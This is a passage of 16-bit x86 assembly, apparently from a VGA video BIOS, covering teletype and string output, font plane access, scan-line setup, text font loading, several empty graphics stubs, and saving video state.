lea sp, [bp-002h] ; 8d 66 fe
pop si ; 5e
pop bp ; 5d
retn ; c3
mov dx, strict word 0004ah ; ba 4a 00
mov ax, strict word 00040h ; b8 40 00
call 02f73h ; e8 20 0e
sal ax, 003h ; c1 e0 03
imul cx, ax ; 0f af c8
mov ax, word [bp-00ah] ; 8b 46 f6
add ax, cx ; 01 c8
mov word [bp-008h], ax ; 89 46 f8
movzx bx, byte [bp-006h] ; 0f b6 5e fa
mov dx, ax ; 89 c2
mov ax, 0a000h ; b8 00 a0
jmp short 02141h ; eb d5
biosfn_write_teletype_: ; 0xc216c LB 0x241
push bp ; 55
mov bp, sp ; 89 e5
push si ; 56
sub sp, strict byte 00016h ; 83 ec 16
mov byte [bp-00ch], al ; 88 46 f4
mov byte [bp-006h], dl ; 88 56 fa
mov byte [bp-004h], bl ; 88 5e fc
mov byte [bp-00eh], cl ; 88 4e f2
cmp dl, 0ffh ; 80 fa ff
jne short 02190h ; 75 0c
mov dx, strict word 00062h ; ba 62 00
mov ax, strict word 00040h ; b8 40 00
call 02f57h ; e8 ca 0d
mov byte [bp-006h], al ; 88 46 fa
mov dx, strict word 00049h ; ba 49 00
mov ax, strict word 00040h ; b8 40 00
call 02f57h ; e8 be 0d
xor ah, ah ; 30 e4
call 02f30h ; e8 92 0d
mov byte [bp-010h], al ; 88 46 f0
cmp AL, strict byte 0ffh ; 3c ff
je near 023a7h ; 0f 84 00 02
movzx ax, byte [bp-006h] ; 0f b6 46 fa
lea bx, [bp-018h] ; 8d 5e e8
lea dx, [bp-016h] ; 8d 56 ea
call 00a88h ; e8 d4 e8
mov al, byte [bp-018h] ; 8a 46 e8
mov byte [bp-008h], al ; 88 46 f8
mov ax, word [bp-018h] ; 8b 46 e8
xor al, al ; 30 c0
shr ax, 008h ; c1 e8 08
mov byte [bp-00ah], al ; 88 46 f6
mov dx, 00084h ; ba 84 00
mov ax, strict word 00040h ; b8 40 00
call 02f57h ; e8 89 0d
xor ah, ah ; 30 e4
inc ax ; 40
mov word [bp-014h], ax ; 89 46 ec
mov dx, strict word 0004ah ; ba 4a 00
mov ax, strict word 00040h ; b8 40 00
call 02f73h ; e8 96 0d
mov word [bp-012h], ax ; 89 46 ee
mov al, byte [bp-00ch] ; 8a 46 f4
cmp AL, strict byte 008h ; 3c 08
jc short 021f5h ; 72 0e
jbe short 021fdh ; 76 14
cmp AL, strict byte 00dh ; 3c 0d
je short 0220bh ; 74 1e
cmp AL, strict byte 00ah ; 3c 0a
je near 022fdh ; 0f 84 0a 01
jmp short 02212h ; eb 1d
cmp AL, strict byte 007h ; 3c 07
je near 02300h ; 0f 84 05 01
jmp short 02212h ; eb 15
cmp byte [bp-008h], 000h ; 80 7e f8 00
jbe near 02300h ; 0f 86 fb 00
dec byte [bp-008h] ; fe 4e f8
jmp near 02300h ; e9 f5 00
mov byte [bp-008h], 000h ; c6 46 f8 00
jmp near 02300h ; e9 ee 00
movzx bx, byte [bp-010h] ; 0f b6 5e f0
mov si, bx ; 89 de
sal si, 003h ; c1 e6 03
cmp byte [si+04630h], 000h ; 80 bc 30 46 00
jne short 0226fh ; 75 4d
mov ax, word [bp-012h] ; 8b 46 ee
imul ax, word [bp-014h] ; 0f af 46 ec
add ax, ax ; 01 c0
or AL, strict byte 0ffh ; 0c ff
movzx dx, byte [bp-006h] ; 0f b6 56 fa
mov cx, ax ; 89 c1
inc cx ; 41
imul cx, dx ; 0f af ca
movzx ax, byte [bp-00ah] ; 0f b6 46 f6
imul ax, word [bp-012h] ; 0f af 46 ee
movzx dx, byte [bp-008h] ; 0f b6 56 f8
add ax, dx ; 01 d0
add ax, ax ; 01 c0
add cx, ax ; 01 c1
movzx bx, byte [bp-00ch] ; 0f b6 5e f4
mov ax, word [si+04633h] ; 8b 84 33 46
mov dx, cx ; 89 ca
call 02f65h ; e8 0f 0d
cmp byte [bp-00eh], 003h ; 80 7e f2 03
jne near 022edh ; 0f 85 8f 00
movzx bx, byte [bp-004h] ; 0f b6 5e fc
mov dx, cx ; 89 ca
inc dx ; 42
mov ax, word [si+04633h] ; 8b 84 33 46
call 02f65h ; e8 f9 0c
jmp near 022edh ; e9 7e 00
movzx bx, byte [bx+046afh] ; 0f b6 9f af 46
sal bx, 006h ; c1 e3 06
mov ah, byte [bx+046c5h] ; 8a a7 c5 46
mov dl, byte [si+04632h] ; 8a 94 32 46
mov al, byte [si+04631h] ; 8a 84 31 46
cmp AL, strict byte 003h ; 3c 03
jc short 02293h ; 72 0c
jbe short 02299h ; 76 10
cmp AL, strict byte 005h ; 3c 05
je short 022d5h ; 74 48
cmp AL, strict byte 004h ; 3c 04
je short 02299h ; 74 08
jmp short 022edh ; eb 5a
cmp AL, strict byte 002h ; 3c 02
je short 022b7h ; 74 20
jmp short 022edh ; eb 54
movzx ax, ah ; 0f b6 c4
push ax ; 50
movzx ax, byte [bp-012h] ; 0f b6 46 ee
push ax ; 50
movzx cx, byte [bp-00ah] ; 0f b6 4e f6
movzx bx, byte [bp-008h] ; 0f b6 5e f8
movzx dx, byte [bp-004h] ; 0f b6 56 fc
movzx ax, byte [bp-00ch] ; 0f b6 46 f4
call 01a91h ; e8 dc f7
jmp short 022edh ; eb 36
movzx ax, dl ; 0f b6 c2
push ax ; 50
movzx ax, byte [bp-012h] ; 0f b6 46 ee
push ax ; 50
movzx cx, byte [bp-00ah] ; 0f b6 4e f6
movzx bx, byte [bp-008h] ; 0f b6 5e f8
movzx dx, byte [bp-004h] ; 0f b6 56 fc
movzx ax, byte [bp-00ch] ; 0f b6 46 f4
call 01b7ch ; e8 a9 f8
jmp short 022edh ; eb 18
movzx ax, byte [bp-012h] ; 0f b6 46 ee
push ax ; 50
movzx cx, byte [bp-00ah] ; 0f b6 4e f6
movzx bx, byte [bp-008h] ; 0f b6 5e f8
movzx dx, byte [bp-004h] ; 0f b6 56 fc
movzx ax, byte [bp-00ch] ; 0f b6 46 f4
call 01c9ah ; e8 ad f9
inc byte [bp-008h] ; fe 46 f8
movzx ax, byte [bp-008h] ; 0f b6 46 f8
cmp ax, word [bp-012h] ; 3b 46 ee
jne short 02300h ; 75 07
mov byte [bp-008h], 000h ; c6 46 f8 00
inc byte [bp-00ah] ; fe 46 f6
movzx ax, byte [bp-00ah] ; 0f b6 46 f6
cmp ax, word [bp-014h] ; 3b 46 ec
jne near 0238bh ; 0f 85 80 00
movzx si, byte [bp-010h] ; 0f b6 76 f0
sal si, 003h ; c1 e6 03
mov bh, byte [bp-014h] ; 8a 7e ec
db 0feh, 0cfh
; dec bh ; fe cf
mov bl, byte [bp-012h] ; 8a 5e ee
db 0feh, 0cbh
; dec bl ; fe cb
cmp byte [si+04630h], 000h ; 80 bc 30 46 00
jne short 0236dh ; 75 4a
mov ax, word [bp-012h] ; 8b 46 ee
imul ax, word [bp-014h] ; 0f af 46 ec
add ax, ax ; 01 c0
or AL, strict byte 0ffh ; 0c ff
movzx dx, byte [bp-006h] ; 0f b6 56 fa
mov cx, ax ; 89 c1
inc cx ; 41
imul cx, dx ; 0f af ca
movzx ax, byte [bp-00ah] ; 0f b6 46 f6
dec ax ; 48
imul ax, word [bp-012h] ; 0f af 46 ee
movzx dx, byte [bp-008h] ; 0f b6 56 f8
add ax, dx ; 01 d0
add ax, ax ; 01 c0
mov dx, cx ; 89 ca
add dx, ax ; 01 c2
inc dx ; 42
mov ax, word [si+04633h] ; 8b 84 33 46
call 02f57h ; e8 02 0c
push strict byte 00001h ; 6a 01
movzx dx, byte [bp-006h] ; 0f b6 56 fa
push dx ; 52
movzx dx, bl ; 0f b6 d3
push dx ; 52
movzx dx, bh ; 0f b6 d7
push dx ; 52
movzx dx, al ; 0f b6 d0
xor cx, cx ; 31 c9
xor bx, bx ; 31 db
jmp short 02382h ; eb 15
push strict byte 00001h ; 6a 01
movzx ax, byte [bp-006h] ; 0f b6 46 fa
push ax ; 50
movzx ax, bl ; 0f b6 c3
push ax ; 50
movzx ax, bh ; 0f b6 c7
push ax ; 50
xor cx, cx ; 31 c9
xor bx, bx ; 31 db
xor dx, dx ; 31 d2
mov ax, strict word 00001h ; b8 01 00
call 0158bh ; e8 03 f2
dec byte [bp-00ah] ; fe 4e f6
movzx ax, byte [bp-00ah] ; 0f b6 46 f6
mov word [bp-018h], ax ; 89 46 e8
sal word [bp-018h], 008h ; c1 66 e8 08
movzx ax, byte [bp-008h] ; 0f b6 46 f8
add word [bp-018h], ax ; 01 46 e8
mov dx, word [bp-018h] ; 8b 56 e8
movzx ax, byte [bp-006h] ; 0f b6 46 fa
call 00e5eh ; e8 b7 ea
lea sp, [bp-002h] ; 8d 66 fe
pop si ; 5e
pop bp ; 5d
retn ; c3
get_font_access_: ; 0xc23ad LB 0x2c
push bp ; 55
mov bp, sp ; 89 e5
push dx ; 52
mov ax, 00100h ; b8 00 01
mov dx, 003c4h ; ba c4 03
out DX, ax ; ef
mov ax, 00402h ; b8 02 04
out DX, ax ; ef
mov ax, 00704h ; b8 04 07
out DX, ax ; ef
mov ax, 00300h ; b8 00 03
out DX, ax ; ef
mov ax, 00204h ; b8 04 02
mov dx, 003ceh ; ba ce 03
out DX, ax ; ef
mov ax, strict word 00005h ; b8 05 00
out DX, ax ; ef
mov ax, 00406h ; b8 06 04
out DX, ax ; ef
lea sp, [bp-002h] ; 8d 66 fe
pop dx ; 5a
pop bp ; 5d
retn ; c3
release_font_access_: ; 0xc23d9 LB 0x3c
push bp ; 55
mov bp, sp ; 89 e5
push dx ; 52
mov ax, 00100h ; b8 00 01
mov dx, 003c4h ; ba c4 03
out DX, ax ; ef
mov ax, 00302h ; b8 02 03
out DX, ax ; ef
mov ax, 00304h ; b8 04 03
out DX, ax ; ef
mov ax, 00300h ; b8 00 03
out DX, ax ; ef
mov dx, 003cch ; ba cc 03
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
and ax, strict word 00001h ; 25 01 00
sal ax, 002h ; c1 e0 02
or AL, strict byte 00ah ; 0c 0a
sal ax, 008h ; c1 e0 08
or AL, strict byte 006h ; 0c 06
mov dx, 003ceh ; ba ce 03
out DX, ax ; ef
mov ax, strict word 00004h ; b8 04 00
out DX, ax ; ef
mov ax, 01005h ; b8 05 10
out DX, ax ; ef
lea sp, [bp-002h] ; 8d 66 fe
pop dx ; 5a
pop bp ; 5d
retn ; c3
set_scan_lines_: ; 0xc2415 LB 0xbf
push bp ; 55
mov bp, sp ; 89 e5
push bx ; 53
push cx ; 51
push dx ; 52
push si ; 56
push di ; 57
mov bl, al ; 88 c3
mov dx, strict word 00063h ; ba 63 00
mov ax, strict word 00040h ; b8 40 00
call 02f73h ; e8 4b 0b
mov dx, ax ; 89 c2
mov si, ax ; 89 c6
mov AL, strict byte 009h ; b0 09
out DX, AL ; ee
inc dx ; 42
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
mov ah, al ; 88 c4
and ah, 0e0h ; 80 e4 e0
mov al, bl ; 88 d8
db 0feh, 0c8h
; dec al ; fe c8
or al, ah ; 08 e0
out DX, AL ; ee
cmp bl, 008h ; 80 fb 08
jne short 0244ch ; 75 08
mov dx, strict word 00007h ; ba 07 00
mov ax, strict word 00006h ; b8 06 00
jmp short 02459h ; eb 0d
mov al, bl ; 88 d8
sub AL, strict byte 003h ; 2c 03
movzx dx, al ; 0f b6 d0
mov al, bl ; 88 d8
sub AL, strict byte 004h ; 2c 04
xor ah, ah ; 30 e4
call 00dbah ; e8 5e e9
movzx di, bl ; 0f b6 fb
mov bx, di ; 89 fb
mov dx, 00085h ; ba 85 00
mov ax, strict word 00040h ; b8 40 00
call 02f81h ; e8 17 0b
mov AL, strict byte 012h ; b0 12
mov dx, si ; 89 f2
out DX, AL ; ee
lea cx, [si+001h] ; 8d 4c 01
mov dx, cx ; 89 ca
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
mov bx, ax ; 89 c3
mov AL, strict byte 007h ; b0 07
mov dx, si ; 89 f2
out DX, AL ; ee
mov dx, cx ; 89 ca
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
mov ah, al ; 88 c4
and ah, 002h ; 80 e4 02
movzx dx, ah ; 0f b6 d4
sal dx, 007h ; c1 e2 07
and AL, strict byte 040h ; 24 40
xor ah, ah ; 30 e4
sal ax, 003h ; c1 e0 03
add ax, dx ; 01 d0
inc ax ; 40
add ax, bx ; 01 d8
xor dx, dx ; 31 d2
div di ; f7 f7
mov cx, ax ; 89 c1
db 0feh, 0c8h
; dec al ; fe c8
movzx bx, al ; 0f b6 d8
mov dx, 00084h ; ba 84 00
mov ax, strict word 00040h ; b8 40 00
call 02f65h ; e8 b7 0a
mov dx, strict word 0004ah ; ba 4a 00
mov ax, strict word 00040h ; b8 40 00
call 02f73h ; e8 bc 0a
movzx dx, cl ; 0f b6 d1
mov bx, ax ; 89 c3
imul bx, dx ; 0f af da
add bx, bx ; 01 db
mov dx, strict word 0004ch ; ba 4c 00
mov ax, strict word 00040h ; b8 40 00
call 02f81h ; e8 b7 0a
lea sp, [bp-00ah] ; 8d 66 f6
pop di ; 5f
pop si ; 5e
pop dx ; 5a
pop cx ; 59
pop bx ; 5b
pop bp ; 5d
retn ; c3
biosfn_load_text_user_pat_: ; 0xc24d4 LB 0x7d
push bp ; 55
mov bp, sp ; 89 e5
push si ; 56
push di ; 57
sub sp, strict byte 0000ah ; 83 ec 0a
mov byte [bp-006h], al ; 88 46 fa
mov word [bp-00ch], dx ; 89 56 f4
mov word [bp-008h], bx ; 89 5e f8
mov word [bp-00ah], cx ; 89 4e f6
call 023adh ; e8 c2 fe
mov al, byte [bp+006h] ; 8a 46 06
and AL, strict byte 003h ; 24 03
xor ah, ah ; 30 e4
mov bx, ax ; 89 c3
sal bx, 00eh ; c1 e3 0e
mov al, byte [bp+006h] ; 8a 46 06
and AL, strict byte 004h ; 24 04
xor ah, ah ; 30 e4
sal ax, 00bh ; c1 e0 0b
add bx, ax ; 01 c3
mov word [bp-00eh], bx ; 89 5e f2
xor bx, bx ; 31 db
cmp bx, word [bp-00ah] ; 3b 5e f6
jnc short 02538h ; 73 2b
movzx cx, byte [bp+008h] ; 0f b6 4e 08
mov si, bx ; 89 de
imul si, cx ; 0f af f1
add si, word [bp-008h] ; 03 76 f8
mov di, word [bp+004h] ; 8b 7e 04
add di, bx ; 01 df
sal di, 005h ; c1 e7 05
add di, word [bp-00eh] ; 03 7e f2
mov dx, word [bp-00ch] ; 8b 56 f4
mov ax, 0a000h ; b8 00 a0
mov es, ax ; 8e c0
cld ; fc
jcxz 02535h ; e3 06
push DS ; 1e
mov ds, dx ; 8e da
rep movsb ; f3 a4
pop DS ; 1f
inc bx ; 43
jmp short 02508h ; eb d0
call 023d9h ; e8 9e fe
cmp byte [bp-006h], 010h ; 80 7e fa 10
jc short 02548h ; 72 07
movzx ax, byte [bp+008h] ; 0f b6 46 08
call 02415h ; e8 cd fe
lea sp, [bp-004h] ; 8d 66 fc
pop di ; 5f
pop si ; 5e
pop bp ; 5d
retn 00006h ; c2 06 00
biosfn_load_text_8_14_pat_: ; 0xc2551 LB 0x70
push bp ; 55
mov bp, sp ; 89 e5
push bx ; 53
push cx ; 51
push si ; 56
push di ; 57
push ax ; 50
push ax ; 50
mov byte [bp-00ah], al ; 88 46 f6
call 023adh ; e8 4d fe
mov al, dl ; 88 d0
and AL, strict byte 003h ; 24 03
xor ah, ah ; 30 e4
mov bx, ax ; 89 c3
sal bx, 00eh ; c1 e3 0e
mov al, dl ; 88 d0
and AL, strict byte 004h ; 24 04
xor ah, ah ; 30 e4
sal ax, 00bh ; c1 e0 0b
add bx, ax ; 01 c3
mov word [bp-00ch], bx ; 89 5e f4
xor bx, bx ; 31 db
jmp short 02583h ; eb 06
cmp bx, 00100h ; 81 fb 00 01
jnc short 025a9h ; 73 26
imul si, bx, strict byte 0000eh ; 6b f3 0e
mov di, bx ; 89 df
sal di, 005h ; c1 e7 05
add di, word [bp-00ch] ; 03 7e f4
add si, 05bedh ; 81 c6 ed 5b
mov cx, strict word 0000eh ; b9 0e 00
mov dx, 0c000h ; ba 00 c0
mov ax, 0a000h ; b8 00 a0
mov es, ax ; 8e c0
cld ; fc
jcxz 025a6h ; e3 06
push DS ; 1e
mov ds, dx ; 8e da
rep movsb ; f3 a4
pop DS ; 1f
inc bx ; 43
jmp short 0257dh ; eb d4
call 023d9h ; e8 2d fe
cmp byte [bp-00ah], 010h ; 80 7e f6 10
jc short 025b8h ; 72 06
mov ax, strict word 0000eh ; b8 0e 00
call 02415h ; e8 5d fe
lea sp, [bp-008h] ; 8d 66 f8
pop di ; 5f
pop si ; 5e
pop cx ; 59
pop bx ; 5b
pop bp ; 5d
retn ; c3
biosfn_load_text_8_8_pat_: ; 0xc25c1 LB 0x72
push bp ; 55
mov bp, sp ; 89 e5
push bx ; 53
push cx ; 51
push si ; 56
push di ; 57
push ax ; 50
push ax ; 50
mov byte [bp-00ah], al ; 88 46 f6
call 023adh ; e8 dd fd
mov al, dl ; 88 d0
and AL, strict byte 003h ; 24 03
xor ah, ah ; 30 e4
mov bx, ax ; 89 c3
sal bx, 00eh ; c1 e3 0e
mov al, dl ; 88 d0
and AL, strict byte 004h ; 24 04
xor ah, ah ; 30 e4
sal ax, 00bh ; c1 e0 0b
add bx, ax ; 01 c3
mov word [bp-00ch], bx ; 89 5e f4
xor bx, bx ; 31 db
jmp short 025f3h ; eb 06
cmp bx, 00100h ; 81 fb 00 01
jnc short 0261bh ; 73 28
mov si, bx ; 89 de
sal si, 003h ; c1 e6 03
mov di, bx ; 89 df
sal di, 005h ; c1 e7 05
add di, word [bp-00ch] ; 03 7e f4
add si, 053edh ; 81 c6 ed 53
mov cx, strict word 00008h ; b9 08 00
mov dx, 0c000h ; ba 00 c0
mov ax, 0a000h ; b8 00 a0
mov es, ax ; 8e c0
cld ; fc
jcxz 02618h ; e3 06
push DS ; 1e
mov ds, dx ; 8e da
rep movsb ; f3 a4
pop DS ; 1f
inc bx ; 43
jmp short 025edh ; eb d2
call 023d9h ; e8 bb fd
cmp byte [bp-00ah], 010h ; 80 7e f6 10
jc short 0262ah ; 72 06
mov ax, strict word 00008h ; b8 08 00
call 02415h ; e8 eb fd
lea sp, [bp-008h] ; 8d 66 f8
pop di ; 5f
pop si ; 5e
pop cx ; 59
pop bx ; 5b
pop bp ; 5d
retn ; c3
biosfn_load_text_8_16_pat_: ; 0xc2633 LB 0x72
push bp ; 55
mov bp, sp ; 89 e5
push bx ; 53
push cx ; 51
push si ; 56
push di ; 57
push ax ; 50
push ax ; 50
mov byte [bp-00ah], al ; 88 46 f6
call 023adh ; e8 6b fd
mov al, dl ; 88 d0
and AL, strict byte 003h ; 24 03
xor ah, ah ; 30 e4
mov bx, ax ; 89 c3
sal bx, 00eh ; c1 e3 0e
mov al, dl ; 88 d0
and AL, strict byte 004h ; 24 04
xor ah, ah ; 30 e4
sal ax, 00bh ; c1 e0 0b
add bx, ax ; 01 c3
mov word [bp-00ch], bx ; 89 5e f4
xor bx, bx ; 31 db
jmp short 02665h ; eb 06
cmp bx, 00100h ; 81 fb 00 01
jnc short 0268dh ; 73 28
mov si, bx ; 89 de
sal si, 004h ; c1 e6 04
mov di, bx ; 89 df
sal di, 005h ; c1 e7 05
add di, word [bp-00ch] ; 03 7e f4
add si, 069edh ; 81 c6 ed 69
mov cx, strict word 00010h ; b9 10 00
mov dx, 0c000h ; ba 00 c0
mov ax, 0a000h ; b8 00 a0
mov es, ax ; 8e c0
cld ; fc
jcxz 0268ah ; e3 06
push DS ; 1e
mov ds, dx ; 8e da
rep movsb ; f3 a4
pop DS ; 1f
inc bx ; 43
jmp short 0265fh ; eb d2
call 023d9h ; e8 49 fd
cmp byte [bp-00ah], 010h ; 80 7e f6 10
jc short 0269ch ; 72 06
mov ax, strict word 00010h ; b8 10 00
call 02415h ; e8 79 fd
lea sp, [bp-008h] ; 8d 66 f8
pop di ; 5f
pop si ; 5e
pop cx ; 59
pop bx ; 5b
pop bp ; 5d
retn ; c3
biosfn_load_gfx_8_8_chars_: ; 0xc26a5 LB 0x5
push bp ; 55
mov bp, sp ; 89 e5
pop bp ; 5d
retn ; c3
biosfn_load_gfx_user_chars_: ; 0xc26aa LB 0x7
push bp ; 55
mov bp, sp ; 89 e5
pop bp ; 5d
retn 00002h ; c2 02 00
biosfn_load_gfx_8_14_chars_: ; 0xc26b1 LB 0x5
push bp ; 55
mov bp, sp ; 89 e5
pop bp ; 5d
retn ; c3
biosfn_load_gfx_8_8_dd_chars_: ; 0xc26b6 LB 0x5
push bp ; 55
mov bp, sp ; 89 e5
pop bp ; 5d
retn ; c3
biosfn_load_gfx_8_16_chars_: ; 0xc26bb LB 0x5
push bp ; 55
mov bp, sp ; 89 e5
pop bp ; 5d
retn ; c3
biosfn_alternate_prtsc_: ; 0xc26c0 LB 0x5
push bp ; 55
mov bp, sp ; 89 e5
pop bp ; 5d
retn ; c3
biosfn_switch_video_interface_: ; 0xc26c5 LB 0x5
push bp ; 55
mov bp, sp ; 89 e5
pop bp ; 5d
retn ; c3
biosfn_enable_video_refresh_control_: ; 0xc26ca LB 0x5
push bp ; 55
mov bp, sp ; 89 e5
pop bp ; 5d
retn ; c3
biosfn_write_string_: ; 0xc26cf LB 0x9c
push bp ; 55
mov bp, sp ; 89 e5
push si ; 56
push di ; 57
sub sp, strict byte 0000ah ; 83 ec 0a
mov byte [bp-00ah], al ; 88 46 f6
mov byte [bp-008h], dl ; 88 56 f8
mov byte [bp-006h], bl ; 88 5e fa
mov si, cx ; 89 ce
mov di, word [bp+00ah] ; 8b 7e 0a
movzx ax, dl ; 0f b6 c2
lea bx, [bp-00eh] ; 8d 5e f2
lea dx, [bp-00ch] ; 8d 56 f4
call 00a88h ; e8 97 e3
cmp byte [bp+004h], 0ffh ; 80 7e 04 ff
jne short 02708h ; 75 11
mov al, byte [bp-00eh] ; 8a 46 f2
mov byte [bp+006h], al ; 88 46 06
mov ax, word [bp-00eh] ; 8b 46 f2
xor al, al ; 30 c0
shr ax, 008h ; c1 e8 08
mov byte [bp+004h], al ; 88 46 04
movzx dx, byte [bp+004h] ; 0f b6 56 04
sal dx, 008h ; c1 e2 08
movzx ax, byte [bp+006h] ; 0f b6 46 06
add dx, ax ; 01 c2
movzx ax, byte [bp-008h] ; 0f b6 46 f8
call 00e5eh ; e8 42 e7
dec si ; 4e
cmp si, strict byte 0ffffh ; 83 fe ff
je short 02752h ; 74 30
mov dx, di ; 89 fa
inc di ; 47
mov ax, word [bp+008h] ; 8b 46 08
call 02f57h ; e8 2c 08
mov cl, al ; 88 c1
test byte [bp-00ah], 002h ; f6 46 f6 02
je short 0273fh ; 74 0c
mov dx, di ; 89 fa
inc di ; 47
mov ax, word [bp+008h] ; 8b 46 08
call 02f57h ; e8 1b 08
mov byte [bp-006h], al ; 88 46 fa
movzx bx, byte [bp-006h] ; 0f b6 5e fa
movzx dx, byte [bp-008h] ; 0f b6 56 f8
movzx ax, cl ; 0f b6 c1
mov cx, strict word 00003h ; b9 03 00
call 0216ch ; e8 1c fa
jmp short 0271ch ; eb ca
test byte [bp-00ah], 001h ; f6 46 f6 01
jne short 02762h ; 75 0a
mov dx, word [bp-00eh] ; 8b 56 f2
movzx ax, byte [bp-008h] ; 0f b6 46 f8
call 00e5eh ; e8 fc e6
lea sp, [bp-004h] ; 8d 66 fc
pop di ; 5f
pop si ; 5e
pop bp ; 5d
retn 00008h ; c2 08 00
biosfn_read_state_info_: ; 0xc276b LB 0x101
push bp ; 55
mov bp, sp ; 89 e5
push cx ; 51
push si ; 56
push di ; 57
push dx ; 52
push bx ; 53
mov cx, ds ; 8c d9
mov bx, 05383h ; bb 83 53
mov dx, word [bp-00ah] ; 8b 56 f6
mov ax, word [bp-008h] ; 8b 46 f8
call 02fa1h ; e8 20 08
mov di, word [bp-00ah] ; 8b 7e f6
add di, strict byte 00004h ; 83 c7 04
mov cx, strict word 0001eh ; b9 1e 00
mov si, strict word 00049h ; be 49 00
mov dx, strict word 00040h ; ba 40 00
mov es, [bp-008h] ; 8e 46 f8
cld ; fc
jcxz 0279ch ; e3 06
push DS ; 1e
mov ds, dx ; 8e da
rep movsb ; f3 a4
pop DS ; 1f
mov di, word [bp-00ah] ; 8b 7e f6
add di, strict byte 00022h ; 83 c7 22
mov cx, strict word 00003h ; b9 03 00
mov si, 00084h ; be 84 00
mov dx, strict word 00040h ; ba 40 00
mov es, [bp-008h] ; 8e 46 f8
cld ; fc
jcxz 027b7h ; e3 06
push DS ; 1e
mov ds, dx ; 8e da
rep movsb ; f3 a4
pop DS ; 1f
mov dx, 0008ah ; ba 8a 00
mov ax, strict word 00040h ; b8 40 00
call 02f57h ; e8 97 07
movzx bx, al ; 0f b6 d8
mov dx, word [bp-00ah] ; 8b 56 f6
add dx, strict byte 00025h ; 83 c2 25
mov ax, word [bp-008h] ; 8b 46 f8
call 02f65h ; e8 96 07
mov dx, word [bp-00ah] ; 8b 56 f6
add dx, strict byte 00026h ; 83 c2 26
xor bx, bx ; 31 db
mov ax, word [bp-008h] ; 8b 46 f8
call 02f65h ; e8 88 07
mov dx, word [bp-00ah] ; 8b 56 f6
add dx, strict byte 00027h ; 83 c2 27
mov bx, strict word 00010h ; bb 10 00
mov ax, word [bp-008h] ; 8b 46 f8
call 02f65h ; e8 79 07
mov dx, word [bp-00ah] ; 8b 56 f6
add dx, strict byte 00028h ; 83 c2 28
xor bx, bx ; 31 db
mov ax, word [bp-008h] ; 8b 46 f8
call 02f65h ; e8 6b 07
mov dx, word [bp-00ah] ; 8b 56 f6
add dx, strict byte 00029h ; 83 c2 29
mov bx, strict word 00008h ; bb 08 00
mov ax, word [bp-008h] ; 8b 46 f8
call 02f65h ; e8 5c 07
mov dx, word [bp-00ah] ; 8b 56 f6
add dx, strict byte 0002ah ; 83 c2 2a
mov bx, strict word 00002h ; bb 02 00
mov ax, word [bp-008h] ; 8b 46 f8
call 02f65h ; e8 4d 07
mov dx, word [bp-00ah] ; 8b 56 f6
add dx, strict byte 0002bh ; 83 c2 2b
xor bx, bx ; 31 db
mov ax, word [bp-008h] ; 8b 46 f8
call 02f65h ; e8 3f 07
mov dx, word [bp-00ah] ; 8b 56 f6
add dx, strict byte 0002ch ; 83 c2 2c
xor bx, bx ; 31 db
mov ax, word [bp-008h] ; 8b 46 f8
call 02f65h ; e8 31 07
mov dx, word [bp-00ah] ; 8b 56 f6
add dx, strict byte 00031h ; 83 c2 31
mov bx, strict word 00003h ; bb 03 00
mov ax, word [bp-008h] ; 8b 46 f8
call 02f65h ; e8 22 07
mov dx, word [bp-00ah] ; 8b 56 f6
add dx, strict byte 00032h ; 83 c2 32
xor bx, bx ; 31 db
mov ax, word [bp-008h] ; 8b 46 f8
call 02f65h ; e8 14 07
mov di, word [bp-00ah] ; 8b 7e f6
add di, strict byte 00033h ; 83 c7 33
mov cx, strict word 0000dh ; b9 0d 00
xor ax, ax ; 31 c0
mov es, [bp-008h] ; 8e 46 f8
cld ; fc
jcxz 02864h ; e3 02
rep stosb ; f3 aa
lea sp, [bp-006h] ; 8d 66 fa
pop di ; 5f
pop si ; 5e
pop cx ; 59
pop bp ; 5d
retn ; c3
biosfn_read_video_state_size2_: ; 0xc286c LB 0x23
push dx ; 52
push bp ; 55
mov bp, sp ; 89 e5
mov dx, ax ; 89 c2
xor ax, ax ; 31 c0
test dl, 001h ; f6 c2 01
je short 0287ch ; 74 03
mov ax, strict word 00046h ; b8 46 00
test dl, 002h ; f6 c2 02
je short 02884h ; 74 03
add ax, strict word 0002ah ; 05 2a 00
test dl, 004h ; f6 c2 04
je short 0288ch ; 74 03
add ax, 00304h ; 05 04 03
pop bp ; 5d
pop dx ; 5a
retn ; c3
vga_get_video_state_size_: ; 0xc288f LB 0x12
push bp ; 55
mov bp, sp ; 89 e5
push bx ; 53
mov bx, dx ; 89 d3
call 0286ch ; e8 d4 ff
mov word [ss:bx], ax ; 36 89 07
lea sp, [bp-002h] ; 8d 66 fe
pop bx ; 5b
pop bp ; 5d
retn ; c3
biosfn_save_video_state_: ; 0xc28a1 LB 0x369
push bp ; 55
mov bp, sp ; 89 e5
push cx ; 51
push si ; 56
push di ; 57
push ax ; 50
push ax ; 50
push ax ; 50
mov si, dx ; 89 d6
mov cx, bx ; 89 d9
mov dx, strict word 00063h ; ba 63 00
mov ax, strict word 00040h ; b8 40 00
call 02f73h ; e8 bc 06
mov di, ax ; 89 c7
test byte [bp-00ch], 001h ; f6 46 f4 01
je near 02a24h ; 0f 84 63 01
mov dx, 003c4h ; ba c4 03
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
movzx bx, al ; 0f b6 d8
mov dx, cx ; 89 ca
mov ax, si ; 89 f0
call 02f65h ; e8 94 06
inc cx ; 41
mov dx, di ; 89 fa
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
movzx bx, al ; 0f b6 d8
mov dx, cx ; 89 ca
mov ax, si ; 89 f0
call 02f65h ; e8 84 06
inc cx ; 41
mov dx, 003ceh ; ba ce 03
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
movzx bx, al ; 0f b6 d8
mov dx, cx ; 89 ca
mov ax, si ; 89 f0
call 02f65h ; e8 73 06
inc cx ; 41
mov dx, 003dah ; ba da 03
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
mov dx, 003c0h ; ba c0 03
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
mov word [bp-008h], ax ; 89 46 f8
movzx bx, byte [bp-008h] ; 0f b6 5e f8
mov dx, cx ; 89 ca
mov ax, si ; 89 f0
call 02f65h ; e8 58 06
inc cx ; 41
